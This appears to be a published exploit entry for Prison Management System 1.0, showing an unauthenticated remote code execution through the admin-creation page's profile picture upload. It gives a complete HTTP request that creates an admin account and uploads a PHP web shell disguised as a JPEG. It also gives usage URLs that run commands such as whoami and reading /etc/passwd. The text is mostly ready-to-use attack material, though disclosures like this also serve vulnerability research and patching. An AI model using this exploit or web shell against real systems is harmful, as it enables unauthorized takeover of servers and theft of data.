# Exploit Title: Prison Management System 1.0 - Unuthenticated RCE # Date: 24.07.2024 # Exploit Author: Muhammet Ali Dak # Vendor Homepage: https://www.sourcecodester.com/sql/17287/prison-management-system.html # Software Link: https://www.sourcecodester.com/download-code?nid=17287&title=Prison+Management+System+Using+PHP # Version: 1.0 # Tested on: Linux ## Unauthenticated users can access /Admin/add-admin.php address and they can upload malicious php file by changing Content-Type to image/jpeg instead of profile picture image without any authentication. POST /Admin/add-admin.php HTTP/1.1 Host: 192.168.60.131 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------84806108511207628902669766678 Content-Length: 1055 Origin: http://192.168.60.131 Connection: keep-alive Referer: http://192.168.60.131/Admin/add-admin.php Upgrade-Insecure-Requests: 1 Priority: u=0, i -----------------------------84806108511207628902669766678 Content-Disposition: form-data; name="txtusername" yuznumara -----------------------------84806108511207628902669766678 Content-Disposition: form-data; name="txtfullname" yuznumara -----------------------------84806108511207628902669766678 Content-Disposition: form-data; name="txtpassword" yuznumara123 -----------------------------84806108511207628902669766678 Content-Disposition: form-data; name="txtphone" 55353535353 -----------------------------84806108511207628902669766678 Content-Disposition: form-data; name="avatar"; filename="cmd.php" Content-Type: image/jpeg <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -----------------------------84806108511207628902669766678 Content-Disposition: form-data; name="btncreate" -----------------------------84806108511207628902669766678-- ## Malicious file can be seen under the path /uploadImage/Profile/ without any authentication. ## With the request http://192.168.60.131/uploadImage/Profile/cmd.php?cmd=whoami the attacker can execute arbitrary command on the application server.
{{ x.nick }}
{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |